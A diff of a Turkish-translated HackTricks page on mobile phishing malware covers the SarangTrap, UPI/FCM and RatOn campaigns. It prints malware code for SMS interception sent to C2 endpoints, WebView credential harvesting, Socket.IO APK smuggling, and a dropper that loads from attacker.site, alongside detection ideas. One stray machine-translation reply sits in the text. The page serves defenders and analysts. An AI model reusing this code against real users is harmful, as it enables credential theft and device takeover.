- [MS-WSUSOD – Windows Server Update Services: Server-to-Client Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wsusod/e00a5e81-c600-40d9-96b5-9cab78364416)
|
||||||
|
- [Microsoft – WSUS deprecation announcement](https://techcommunity.microsoft.com/blog/windows-itpro-blog/windows-server-update-services-wsus-deprecation/4250436)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -3,63 +3,63 @@
|
|||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
> [!INFO]
|
> [!INFO]
|
||||||
> Bu sayfa, tehdit aktörlerinin phishing (SEO, social engineering, fake stores, dating apps, vb.) yoluyla **malicious Android APKs** ve **iOS mobile-configuration profiles** dağıtmak için kullandıkları teknikleri kapsar.
|
> Bu sayfa tehdit aktörlerinin **malicious Android APKs** ve **iOS mobile-configuration profiles** dağıtmak için kullandığı teknikleri kapsar (phishing, SEO, social engineering, fake stores, dating apps, vb.).
|
||||||
> Materyal, Zimperium zLabs tarafından ifşa edilen SarangTrap kampanyası (2025) ve diğer kamu araştırmalarından uyarlanmıştır.
|
> İçerik, Zimperium zLabs (2025) tarafından ortaya çıkarılan SarangTrap kampanyasından ve diğer açık araştırmalardan uyarlanmıştır.
|
||||||
|
|
||||||
## Saldırı Akışı
|
## Saldırı Akışı
|
||||||
|
|
||||||
1. **SEO/Phishing Altyapısı**
|
1. **SEO/Phishing Infrastructure**
|
||||||
* Çok sayıda benzer görünümlü domain kaydedin (dating, cloud share, car service…).
|
* Dating, cloud share, car service gibi look-alike domainlerin onlarcasını kaydedin.
|
||||||
– Google'da sıralama için `<title>` öğesine yerel dil anahtar kelimeleri ve emoji ekleyin.
|
– `<title>` elementinde yerel dil anahtar kelimeleri ve emoji kullanarak Google'da sıralama alın.
|
||||||
– Aynı açılış sayfasında hem Android (`.apk`) hem de iOS kurulum talimatlarını barındırın.
|
– Aynı landing page üzerinde hem Android (`.apk`) hem de iOS kurulum talimatlarını barındırın.
|
||||||
2. **First Stage Download**
|
2. **İlk Aşama İndirme**
|
||||||
* Android: *unsigned* veya “third-party store” APK'ya doğrudan bağlantı.
|
* Android: imzasız veya “third-party store” APK'ya doğrudan bağlantı.
|
||||||
* iOS: `itms-services://` veya düz HTTPS link ile kötü amaçlı bir **mobileconfig** profile yönlendirme (aşağıya bakın).
|
* iOS: `itms-services://` veya düz HTTPS bağlantısı ile kötü amaçlı bir **mobileconfig** profiline yönlendirme (aşağıya bakınız).
|
||||||
3. **Kurulum Sonrası Social Engineering**
|
3. **Kurulum Sonrası Social Engineering**
|
||||||
* İlk çalıştırmada uygulama **davet / doğrulama kodu** ister (özel erişim yanılsaması).
|
* İlk çalıştırmada uygulama bir **invitation / verification code** ister (özel erişim yanılsaması).
|
||||||
* Kod, Command-and-Control (C2)'ye **HTTP üzerinden POST** edilir.
|
* Kod Command-and-Control (C2)'ye **HTTP üzerinden POSTed** edilir.
|
||||||
* C2 `{"success":true}` ile yanıt verir ➜ malware devam eder.
|
* C2 `{"success":true}` ile yanıt verir ➜ malware devam eder.
|
||||||
* Geçerli kod göndermeyen Sandbox / AV dynamic analysis, **no malicious behaviour** görür (evasion).
|
* Geçerli bir kod göndermeyen Sandbox/AV dinamik analizi **no malicious behaviour** görür (evasion).
|
||||||
4. **Runtime Permission Abuse** (Android)
|
4. **Çalışma Zamanı İzin Suistimali (Android)**
|
||||||
* Tehlikeli izinler yalnızca **positive C2 response** sonrasında istenir:
|
* Tehlikeli izinler yalnızca C2'den olumlu yanıt alındıktan sonra istenir:
|
||||||
```xml
|
```xml
|
||||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
||||||
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
|
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
|
||||||
<!-- Older builds also asked for SMS permissions -->
|
<!-- Older builds also asked for SMS permissions -->
|
||||||
```
|
```
|
||||||
* Yeni varyantlar `AndroidManifest.xml` içinden SMS için `<uses-permission>` etiketini **kaldırır** ancak SMS'i reflection ile okuyan Java/Kotlin kod yolunu bırakır ⇒ statik skoru düşürürken, `AppOps` abuse veya eski hedeflerde izin verilmişse hâlâ çalışır.
|
* Yeni varyantlar SMS için `<uses-permission>` öğesini `AndroidManifest.xml`'den kaldırır ama Java/Kotlin kod yolunu refleksiyonla SMS okuyan şekilde bırakır ⇒ statik puanı düşürürken, AppOps suistimali veya eski hedeflerde izni veren cihazlarda hâlâ işlevseldir.
|
||||||
5. **Facade UI & Background Collection**
|
5. **Facade UI & Background Collection**
|
||||||
* Uygulama yerel olarak uygulanmış zararsız görünümler (SMS viewer, gallery picker) gösterir.
|
* Uygulama yerel olarak uygulanmış zararsız görünümler (SMS viewer, gallery picker) gösterir.
|
||||||
* Bu sırada şu verileri dışa aktarır:
|
* Bu sırada exfiltrates:
|
||||||
- IMEI / IMSI, telefon numarası
|
- IMEI / IMSI, telefon numarası
|
||||||
- Tam `ContactsContract` dökümü (JSON array)
|
- Tam `ContactsContract` dökümü (JSON array)
|
||||||
- `/sdcard/DCIM` içindeki JPEG/PNG'ler [Luban](https://github.com/Curzibn/Luban) ile sıkıştırılarak boyut azaltılır
|
- `/sdcard/DCIM` içindeki JPEG/PNG'ler [Luban](https://github.com/Curzibn/Luban) ile sıkıştırılarak boyut küçültülür
|
||||||
- Opsiyonel SMS içeriği (`content://sms`)
|
- Opsiyonel SMS içeriği (`content://sms`)
|
||||||
Payload'lar **batch-zipped** edilerek `HTTP POST /upload.php` ile gönderilir.
|
Payloadlar **batch-zipped** edilip `HTTP POST /upload.php` ile gönderilir.
|
||||||
6. **iOS Delivery Technique**
|
6. **iOS Delivery Technique**
|
||||||
* Tek bir **mobile-configuration profile** `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` vb. isteyerek cihazı “MDM” benzeri denetime kaydedebilir.
|
* Tek bir **mobile-configuration profile** `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` vb. isteyerek cihazı “MDM” benzeri denetimde kaydedebilir.
|
||||||
* Social-engineering instructions:
|
* Social-engineering talimatları:
|
||||||
1. Open Settings ➜ *Profile downloaded*.
|
1. Ayarlar ➜ *Profile downloaded*'ı açın.
|
||||||
2. Tap *Install* three times (screenshots on the phishing page).
|
2. *Install*'e üç kez dokunun (phishing page üzerindeki ekran görüntüleri).
|
||||||
3. Trust the unsigned profile ➜ attacker *Contacts* & *Photo* entitlement kazanır, App Store review olmadan.
|
3. İmzasız profile güvenin ➜ attacker App Store incelemesi olmadan *Contacts* ve *Photo* yetkisini kazanır.
|
||||||
7. **Ağ Katmanı**
|
7. **Ağ Katmanı**
|
||||||
* Düz HTTP, genelde port 80 üzerinde HOST header `api.<phishingdomain>.com` gibi.
|
* Düz HTTP, genellikle port 80 üzerinde ve HOST header `api.<phishingdomain>.com` gibi.
|
||||||
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (no TLS → tespit etmesi kolay).
|
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (TLS yok → kolay fark edilir).
|
||||||
|
|
||||||
## Defensive Testing / Red-Team İpuçları
|
## Defensive Testing / Red-Team İpuçları
|
||||||
|
|
||||||
* **Dynamic Analysis Bypass** – Malware assessment sırasında, kötü amaçlı şubeye ulaşmak için Frida/Objection ile invitation code aşamasını otomatikleştirin.
|
* **Dynamic Analysis Bypass** – Malware değerlendirmesi sırasında, davet kodu aşamasını Frida/Objection ile otomatikleştirerek kötü niyetli dala ulaşın.
|
||||||
* **Manifest vs. Runtime Diff** – `aapt dump permissions` ile runtime `PackageManager#getRequestedPermissions()` karşılaştırın; eksik tehlikeli izinler bir uyarı işaretidir.
|
* **Manifest vs. Runtime Diff** – `aapt dump permissions` ile runtime `PackageManager#getRequestedPermissions()`'ı karşılaştırın; tehlikeli izinlerin eksik olması kırmızı bayraktır.
|
||||||
* **Network Canary** – Kod girişinden sonra düzensiz POST patlamalarını tespit etmek için `iptables -p tcp --dport 80 -j NFQUEUE` yapılandırın.
|
* **Network Canary** – Kod girişinden sonra şüpheli POST patlamalarını tespit etmek için `iptables -p tcp --dport 80 -j NFQUEUE` yapılandırın.
|
||||||
* **mobileconfig Inspection** – macOS'ta `security cms -D -i profile.mobileconfig` kullanarak `PayloadContent`'i listeleyin ve aşırı yetkileri tespit edin.
|
* **mobileconfig Inspection** – macOS'ta `security cms -D -i profile.mobileconfig` kullanarak `PayloadContent` listesini inceleyin ve fazla yetkileri tespit edin.
|
||||||
|
|
||||||
## Blue-Team Tespit Fikirleri
|
## Blue-Team Detection Ideas
|
||||||
|
|
||||||
* **Certificate Transparency / DNS Analytics** ile anahtar kelime içeren domainlerde ani artışları yakalayın.
|
* **Certificate Transparency / DNS Analytics** ile anahtar kelime zengini domainlerdeki ani patlamaları yakalayın.
|
||||||
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` Google Play dışındaki Dalvik client'lardan gelen istekler için.
|
* **User-Agent & Path Regex**: Dalvik istemcilerinden Google Play dışı `(?i)POST\s+/(check|upload)\.php` isteğini arayın.
|
||||||
* **Invite-code Telemetry** – APK kurulumundan kısa süre sonra 6–8 haneli sayısal kodların POST edilmesi staging göstergesi olabilir.
|
* **Invite-code Telemetry** – APK kurulumundan kısa süre sonra 6–8 haneli sayısal kodların POST edilmesi staging göstergesi olabilir.
|
||||||
* **MobileConfig Signing** – MDM politikası ile unsigned configuration profile'ları engelleyin.
|
* **MobileConfig Signing** – MDM politikasıyla imzasız konfigürasyon profillerini engelleyin.
|
||||||
|
|
||||||
## Useful Frida Snippet: Auto-Bypass Invitation Code
|
## Useful Frida Snippet: Auto-Bypass Invitation Code
|
||||||
```python
|
```python
|
||||||
@ -90,28 +90,26 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex
|
|||||||
|
|
||||||
## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
|
## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
|
||||||
|
|
||||||
This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience.
|
Bu pattern, hükümet-yardımı temalarını suistimal eden kampanyalarda Hint UPI kimlik bilgileri ve OTP'leri çalmak için gözlemlenmiştir. Operatörler teslimat ve dayanıklılık için güvenilir platformları zincir halinde kullanır.
|
||||||
|
|
||||||
### Delivery chain across trusted platforms
|
### Delivery chain across trusted platforms
|
||||||
- YouTube video lure → description contains a short link
|
- YouTube video tuzağı → açıklama kısa bir link içerir
|
||||||
- Shortlink → GitHub Pages phishing site imitating the legit portal
|
- Kısa link → gerçek portalı taklit eden GitHub Pages phishing sitesi
|
||||||
- Same GitHub repo hosts an APK with a fake “Google Play” badge linking directly to the file
|
- Aynı GitHub repo, dosyaya doğrudan bağlanan sahte “Google Play” rozeti olan bir APK barındırır
|
||||||
- Dynamic phishing pages live on Replit; remote command channel uses Firebase Cloud Messaging (FCM)
|
- Dinamik phishing sayfaları Replit'te barınır; uzaktan komut kanalı Firebase Cloud Messaging (FCM) kullanır
|
||||||
|
|
||||||
### Dropper with embedded payload and offline install
|
### Dropper with embedded payload and offline install
|
||||||
- First APK is an installer (dropper) that ships the real malware at `assets/app.apk` and prompts the user to disable Wi‑Fi/mobile data to blunt cloud detection.
|
- İlk APK, gerçek kötü yazılımı `assets/app.apk` konumunda taşıyan bir installer (dropper) olup, bulut tespitini zayıflatmak için kullanıcıyı Wi‑Fi/mobile data'yı devre dışı bırakmaya yönlendirir.
|
||||||
- The embedded payload installs under an innocuous label (e.g., “Secure Update”). After install, both the installer and the payload are present as separate apps.
|
- Gömülü payload zararsız görünen bir etiket altında kurulur (ör. “Secure Update”). Kurulumdan sonra hem installer hem de payload ayrı uygulamalar olarak mevcut olur.
|
||||||
|
|
||||||
Statik triage ipucu (grep for embedded payloads):
|
Statik triyaj ipucu (grep for embedded payloads):
|
||||||
```bash
|
```bash
|
||||||
unzip -l sample.apk | grep -i "assets/app.apk"
|
unzip -l sample.apk | grep -i "assets/app.apk"
|
||||||
# Or:
|
# Or:
|
||||||
zipgrep -i "classes|.apk" sample.apk | head
|
zipgrep -i "classes|.apk" sample.apk | head
|
||||||
```
|
```
|
||||||
### Dinamik endpoint keşfi shortlink aracılığıyla
|
### shortlink aracılığıyla dinamik endpoint keşfi
|
||||||
- Malware, bir shortlink'ten düz metin, virgülle ayrılmış canlı endpoint listesini çeker; basit string dönüşümleri nihai phishing sayfası yolunu üretir.
|
- Malware, bir shortlink'ten düz metin, virgülle ayrılmış canlı endpoints listesini çeker; basit string transforms son phishing sayfa yolunu üretir.
|
||||||
|
|
||||||
Örnek (sansürlenmiş):
|
|
||||||
```
|
```
|
||||||
GET https://rebrand.ly/dclinkto2
|
GET https://rebrand.ly/dclinkto2
|
||||||
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
|
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
|
||||||
@ -119,7 +117,7 @@ Transform: "gate.html" → "gate.htm" (loaded in WebView)
|
|||||||
UPI credential POST: https://sqcepo.replit.app/addup.php
|
UPI credential POST: https://sqcepo.replit.app/addup.php
|
||||||
SMS upload: https://sqcepo.replit.app/addsm.php
|
SMS upload: https://sqcepo.replit.app/addsm.php
|
||||||
```
|
```
|
||||||
Sözde kod:
|
Pseudokod:
|
||||||
```java
|
```java
|
||||||
String csv = httpGet(shortlink);
|
String csv = httpGet(shortlink);
|
||||||
String[] parts = csv.split(",");
|
String[] parts = csv.split(",");
|
||||||
@ -128,7 +126,7 @@ String smsPost = parts[1];
|
|||||||
String credsPost = upiPage.replace("gate.htm", "addup.php");
|
String credsPost = upiPage.replace("gate.htm", "addup.php");
|
||||||
```
|
```
|
||||||
### WebView-based UPI credential harvesting
|
### WebView-based UPI credential harvesting
|
||||||
- “Make payment of ₹1 / UPI‑Lite” adımı, dinamik endpoint'ten WebView içinde bir attacker HTML formu yükler ve hassas alanları (telefon, banka, UPI PIN) yakalar; bu alanlar `POST` ile `addup.php`'ye gönderilir.
|
- “Make payment of ₹1 / UPI‑Lite” adımı, dinamik endpoint içindeki bir saldırgan HTML formunu WebView içinde yükler ve hassas alanları (telefon, banka, UPI PIN) yakalar; bu alanlar `POST` ile `addup.php`'ye gönderilir.
|
||||||
|
|
||||||
Minimal loader:
|
Minimal loader:
|
||||||
```java
|
```java
|
||||||
@ -136,7 +134,7 @@ WebView wv = findViewById(R.id.web);
|
|||||||
wv.getSettings().setJavaScriptEnabled(true);
|
wv.getSettings().setJavaScriptEnabled(true);
|
||||||
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
|
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
|
||||||
```
|
```
|
||||||
### Self-propagation ve SMS/OTP yakalama
|
### Self-propagation ve SMS/OTP interception
|
||||||
- İlk çalıştırmada agresif izinler istenir:
|
- İlk çalıştırmada agresif izinler istenir:
|
||||||
```xml
|
```xml
|
||||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||||
@ -144,10 +142,10 @@ wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
|
|||||||
<uses-permission android:name="android.permission.READ_SMS"/>
|
<uses-permission android:name="android.permission.READ_SMS"/>
|
||||||
<uses-permission android:name="android.permission.CALL_PHONE"/>
|
<uses-permission android:name="android.permission.CALL_PHONE"/>
|
||||||
```
|
```
|
||||||
- Kişiler, kurbanın cihazından toplu smishing SMS göndermek için döngüye alınır.
|
- Kişiler döngüye alınarak mağdurun cihazından toplu smishing SMS'leri gönderilir.
|
||||||
- Gelen SMS'ler bir broadcast receiver tarafından yakalanır ve meta verilerle (gönderen, içerik, SIM yuvası, cihaza özel rastgele ID) `/addsm.php`'ye yüklenir.
|
- Gelen SMS'ler bir broadcast receiver tarafından yakalanıp meta verilerle (gönderen, içerik, SIM yuvası, cihaz başına rastgele ID) `/addsm.php`'ye yüklenir.
|
||||||
|
|
||||||
Receiver sketch:
|
Receiver taslağı:
|
||||||
```java
|
```java
|
||||||
public void onReceive(Context c, Intent i){
|
public void onReceive(Context c, Intent i){
|
||||||
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
|
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
|
||||||
@ -161,8 +159,8 @@ postForm(urlAddSms, new FormBody.Builder()
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### Firebase Cloud Messaging (FCM) olarak dayanıklı C2
|
### Firebase Cloud Messaging (FCM) dayanıklı bir C2 olarak
|
||||||
- Payload, FCM'ye kayıt olur; push mesajları, eylemleri tetiklemek için anahtar olarak kullanılan `_type` alanını taşır (ör. phishing metin şablonlarını güncellemek, davranışları açıp kapatmak).
|
- Payload, FCM'ye kaydolur; push mesajları `_type` alanını taşır; bu alan eylemleri tetiklemek için bir anahtar olarak kullanılır (ör. phishing metin şablonlarını güncellemek, davranışları açıp kapatmak).
|
||||||
|
|
||||||
Örnek FCM payload:
|
Örnek FCM payload:
|
||||||
```json
|
```json
|
||||||
@ -186,30 +184,71 @@ case "smish": sendSmishToContacts(); break;
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### Avlama kalıpları ve IOC'ler
|
### Avlanma kalıpları ve IOCs
|
||||||
- APK, ikincil payload'ı `assets/app.apk` içinde içerir
|
- APK, `assets/app.apk` içinde ikincil payload içerir
|
||||||
- WebView `gate.htm`'den ödeme yükler ve `/addup.php`'ye veri sızdırır
|
- WebView, `gate.htm`'den ödeme yükler ve `/addup.php`'ye exfiltrates
|
||||||
- SMS'in `/addsm.php`'ye sızdırılması
|
- SMS exfiltration `/addsm.php`'ye
|
||||||
- Shortlink tabanlı konfigürasyon çekimi (ör. `rebrand.ly/*`) CSV endpoint'leri döndürür
|
- Kısa bağlantı tabanlı konfigürasyon çekimi (örn. `rebrand.ly/*`) CSV endpoint'leri döndürür
|
||||||
- Uygulamalar genel olarak “Update/Secure Update” olarak etiketlenmiş
|
- Genel “Update/Secure Update” olarak etiketlenmiş uygulamalar
|
||||||
- Güvenilmeyen uygulamalarda `_type` ayırıcıya sahip FCM `data` mesajları
|
- Güvenilmeyen uygulamalarda `_type` ayrıştırıcısına sahip FCM `data` mesajları
|
||||||
|
|
||||||
### Tespit ve savunma fikirleri
|
### Tespit & savunma fikirleri
|
||||||
- Kullanıcıları kurulum sırasında ağı devre dışı bırakmaya yönlendiren ve ardından `assets/`'ten ikinci bir APK yan yükleyen uygulamaları işaretle.
|
- Kurulum sırasında kullanıcılara ağı devre dışı bırakmalarını söyleyen ve ardından `assets/`'ten ikinci bir APK side-load eden uygulamaları işaretle.
|
||||||
- İzin kombinasyonu için uyarı: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView tabanlı ödeme akışları.
|
- İzin kümesi için uyarı ver: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView tabanlı ödeme akışları.
|
||||||
- Kurumsal olmayan hostlarda `POST /addup.php|/addsm.php` için çıkış trafiği izleme; bilinen altyapıyı engelle.
|
- Kurumsal olmayan hostlarda `POST /addup.php|/addsm.php` için çıkış trafiği izleme; bilinen altyapıları engelle.
|
||||||
- Mobile EDR kuralları: FCM'ye kayıt olan ve `_type` alanına göre dallanan güvenilmeyen uygulama.
|
- Mobile EDR kuralları: FCM'ye kayıt olan ve `_type` alanına göre dallanan güvenilmeyen uygulamalar.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Android Accessibility/Overlay & Device Admin Suistimali, ATS otomasyonu, ve NFC relay orkestrasyonu – RatOn vaka çalışması
|
## Socket.IO/WebSocket-based APK Smuggling + Fake Google Play Pages
|
||||||
|
|
||||||
RatOn banker/RAT campaign (ThreatFabric), modern mobil phishing operasyonlarının WebView dropper'ları, Accessibility kaynaklı UI otomasyonu, overlays/ransom, Device Admin zorlama, Automated Transfer System (ATS), kripto cüzdanı ele geçirme ve hatta NFC-relay orkestrasyonunu nasıl harmanladığının somut bir örneğidir. Bu bölüm yeniden kullanılabilir teknikleri soyutlar.
|
Saldırganlar statik APK linklerini giderek daha fazla, Google Play görünümlü aldatmacalara gömülmüş bir Socket.IO/WebSocket kanalıyla değiştiriyor. Bu, payload URL'ini gizler, URL/extension filtrelerini atlatır ve gerçekçi bir kurulum UX'i korur.
|
||||||
|
|
||||||
### Aşama-1: WebView → native kurulum köprüsü (dropper)
|
Gerçek dünyada gözlemlenen tipik istemci akışı:
|
||||||
Saldırganlar, saldırgan sayfasına işaret eden bir WebView sunar ve native kurulum programını açığa çıkaran bir JavaScript arayüzü enjekte eder. Bir HTML düğmesine dokunma, dropper'ın assets'inde paketlenmiş ikinci aşama APK'yı kuran native koda çağrı yapar ve ardından doğrudan başlatır.
|
```javascript
|
||||||
|
// Open Socket.IO channel and request payload
|
||||||
|
const socket = io("wss://<lure-domain>/ws", { transports: ["websocket"] });
|
||||||
|
socket.emit("startDownload", { app: "com.example.app" });
|
||||||
|
|
||||||
Minimal desen:
|
// Accumulate binary chunks and drive fake Play progress UI
|
||||||
|
const chunks = [];
|
||||||
|
socket.on("chunk", (chunk) => chunks.push(chunk));
|
||||||
|
socket.on("downloadProgress", (p) => updateProgressBar(p));
|
||||||
|
|
||||||
|
// Assemble APK client‑side and trigger browser save dialog
|
||||||
|
socket.on("downloadComplete", () => {
|
||||||
|
const blob = new Blob(chunks, { type: "application/vnd.android.package-archive" });
|
||||||
|
const url = URL.createObjectURL(blob);
|
||||||
|
const a = document.createElement("a");
|
||||||
|
a.href = url; a.download = "app.apk"; a.style.display = "none";
|
||||||
|
document.body.appendChild(a); a.click();
|
||||||
|
});
|
||||||
|
```
|
||||||
|
Neden basit kontrollerden kaçtığı:
|
||||||
|
- Hiçbir statik APK URL'si ifşa edilmez; payload WebSocket framelerinden bellekte yeniden oluşturulur.
|
||||||
|
- Doğrudan .apk cevaplarını engelleyen URL/MIME/uzantı filtreleri, WebSockets/Socket.IO üzerinden tünellenen ikili veriyi kaçırabilir.
|
||||||
|
- WebSocket'leri çalıştırmayan crawler'lar ve URL sandbox'lar payload'ı alamaz.
|
||||||
|
|
||||||
|
Avlama ve tespit fikirleri:
|
||||||
|
- Web/network telemetry: büyük ikili parçalar transfer eden WebSocket oturumlarını işaretleyin; bunları takiben MIME application/vnd.android.package-archive olan bir Blob oluşturulması ve programatik bir `<a download>` tıklaması gerçekleşiyor mu bakın. socket.emit('startDownload') gibi istemci dizelerini ve sayfa script'lerinde chunk, downloadProgress, downloadComplete adlı events'leri arayın.
|
||||||
|
- Play-store spoof heuristics: Play-benzeri sayfalar sunan Google dışı alan adlarında, http.html:"VfPpkd-jY41G-V67aGc" gibi Google Play UI dizelerini, karışık-dilde şablonları ve WS events tarafından yönlendirilen sahte “verification/progress” akışlarını arayın.
|
||||||
|
- Controls: non-Google origin'lerden APK teslimatını engelleyin; WebSocket trafiğini de kapsayan MIME/uzantı politikalarını uygulayın; tarayıcı güvenli-indirme uyarılarını koruyun.
|
||||||
|
|
||||||
|
Ayrıca bkz. WebSocket tradecraft ve tooling:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../../pentesting-web/websocket-attacks.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
|
## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – RatOn vaka incelemesi
|
||||||
|
|
||||||
|
RatOn banker/RAT kampanyası (ThreatFabric), modern mobil phishing operasyonlarının WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover ve hatta NFC-relay orchestration öğelerini nasıl harmanladığına dair somut bir örnektir. Bu bölüm yeniden kullanılabilir teknikleri soyutlar.
|
||||||
|
|
||||||
|
### Aşama-1: WebView → native install bridge (dropper)
|
||||||
|
Saldırganlar, saldırgan sayfasına işaret eden bir WebView sunar ve native installer'ı açığa çıkaran bir JavaScript arayüzü enjekte eder. Bir HTML butonuna dokunuş, dropper'ın assets'inde paketlenmiş ikinci aşama bir APK'yı kuran native koda çağrı yapar ve ardından onu doğrudan başlatır.
|
||||||
|
|
||||||
|
Minimal pattern:
|
||||||
```java
|
```java
|
||||||
public class DropperActivity extends Activity {
|
public class DropperActivity extends Activity {
|
||||||
@Override protected void onCreate(Bundle b){
|
@Override protected void onCreate(Bundle b){
|
||||||
@ -238,23 +277,23 @@ wv.loadUrl("https://attacker.site/install.html");
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
İçeriği çevirip döndürebilmem için lütfen sayfadaki HTML veya çevirmemi istediğiniz metni buraya yapıştırın.
|
İçerik görünmüyor — lütfen çevirmemi istediğiniz HTML'i buraya yapıştırın.
|
||||||
```html
|
```html
|
||||||
<button onclick="bridge.installApk()">Install</button>
|
<button onclick="bridge.installApk()">Install</button>
|
||||||
```
|
```
|
||||||
Yüklemeden sonra, dropper explicit package/activity aracılığıyla payload'u başlatır:
|
Yüklemeden sonra, dropper explicit package/activity aracılığıyla payload'ı başlatır:
|
||||||
```java
|
```java
|
||||||
Intent i = new Intent();
|
Intent i = new Intent();
|
||||||
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
|
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
|
||||||
startActivity(i);
|
startActivity(i);
|
||||||
```
|
```
|
||||||
Tehdit avı fikri: güvenilmeyen uygulamaların `addJavascriptInterface()` çağırıp WebView'a installer-benzeri yöntemler erişime açması; APK'nin `assets/` altında gömülü ikincil bir payload taşıması ve Package Installer Session API'yi çağırması.
|
Tehdit avı fikri: güvenilmeyen uygulamaların `addJavascriptInterface()` çağırıp WebView'e yükleyici-benzeri yöntemler açması; APK'nin `assets/` altında gömülü ikincil bir payload taşıması ve Package Installer Session API'yi çağırması.
|
||||||
|
|
||||||
### Onay akışı: Accessibility + Device Admin + takip eden runtime istemleri
|
### İzin hunisi: Accessibility + Device Admin + izleyen runtime istemleri
|
||||||
Stage-2, içinde “Erişim” sayfası barındıran bir WebView açar. Sayfadaki düğme, kurbanı Accessibility ayarlarına yönlendiren ve sahte servisin etkinleştirilmesini isteyen bir exported method'u çağırır. İzin verildiğinde, malware Accessibility'yi kullanarak sonraki runtime izin diyaloglarında (contacts, overlay, manage system settings, vb.) otomatik tıklama yapar ve Device Admin ister.
|
Stage-2 bir WebView açar ve “Access” sayfasını barındırır. Sayfadaki buton, kurbanı Accessibility ayarlarına yönlendiren ve rogue servisin etkinleştirilmesini isteyen exported bir methodu çağırır. İzin verildikten sonra, malware Accessibility'yi kullanarak sonraki runtime izin diyaloglarında (contacts, overlay, manage system settings, vb.) otomatik tıklamalar yapar ve Device Admin ister.
|
||||||
|
|
||||||
- Accessibility programatik olarak node-tree içinde “Allow”/“OK” gibi butonları bularak sonraki istemleri kabul etmeye yardımcı olur ve tıklamaları tetikler.
|
- Accessibility, node-tree içinde “Allow”/“OK” gibi düğmeleri bularak ve tıklama etkinliklerini tetikleyerek sonraki istemleri programlı olarak kabul etmeye yardımcı olur.
|
||||||
- Overlay izni kontrol/isteği:
|
- Overlay izin kontrolü/isteği:
|
||||||
```java
|
```java
|
||||||
if (!Settings.canDrawOverlays(ctx)) {
|
if (!Settings.canDrawOverlays(ctx)) {
|
||||||
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
|
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
|
||||||
@ -262,23 +301,25 @@ Uri.parse("package:" + ctx.getPackageName()));
|
|||||||
ctx.startActivity(i);
|
ctx.startActivity(i);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
Ayrıca bakınız:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
|
../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### WebView üzerinden overlay phishing/ransom
|
### Overlay phishing/fidye via WebView
|
||||||
Operatörler şu komutları verebilir:
|
Operatörler şu komutları verebilir:
|
||||||
- bir URL'den tam ekran overlay render etmek, veya
|
- bir URL'den tam ekran overlay göstermek, veya
|
||||||
- inline HTML geçirip bunun bir WebView overlay'inde yüklenmesini sağlamak.
|
- WebView overlay içine yüklenecek inline HTML iletmek.
|
||||||
|
|
||||||
Muhtemel kullanım: coercion (PIN girişi), cüzdan açtırma ile PIN yakalama, fidye mesajları. Eksikse overlay izninin verildiğini doğrulamak için bir komut bulundurun.
|
Muhtemel kullanımlar: zorlayarak PIN girişi, PIN'leri yakalamak için cüzdan açtırma, fidye mesajları. Eksikse overlay izninin verildiğinden emin olmak için bir komut bulundurun.
|
||||||
|
|
||||||
### Uzak kontrol modeli – metin pseudo-ekran + screen-cast
|
### Remote control model – text pseudo-screen + screen-cast
|
||||||
- Düşük bant genişliği: Accessibility node tree'i periyodik olarak dump edin, görünür metinleri/rolleri/bounds'ları serialize edip pseudo-ekran olarak C2'ye gönderin (komutlar gibi `txt_screen` bir kere ve `screen_live` sürekli).
|
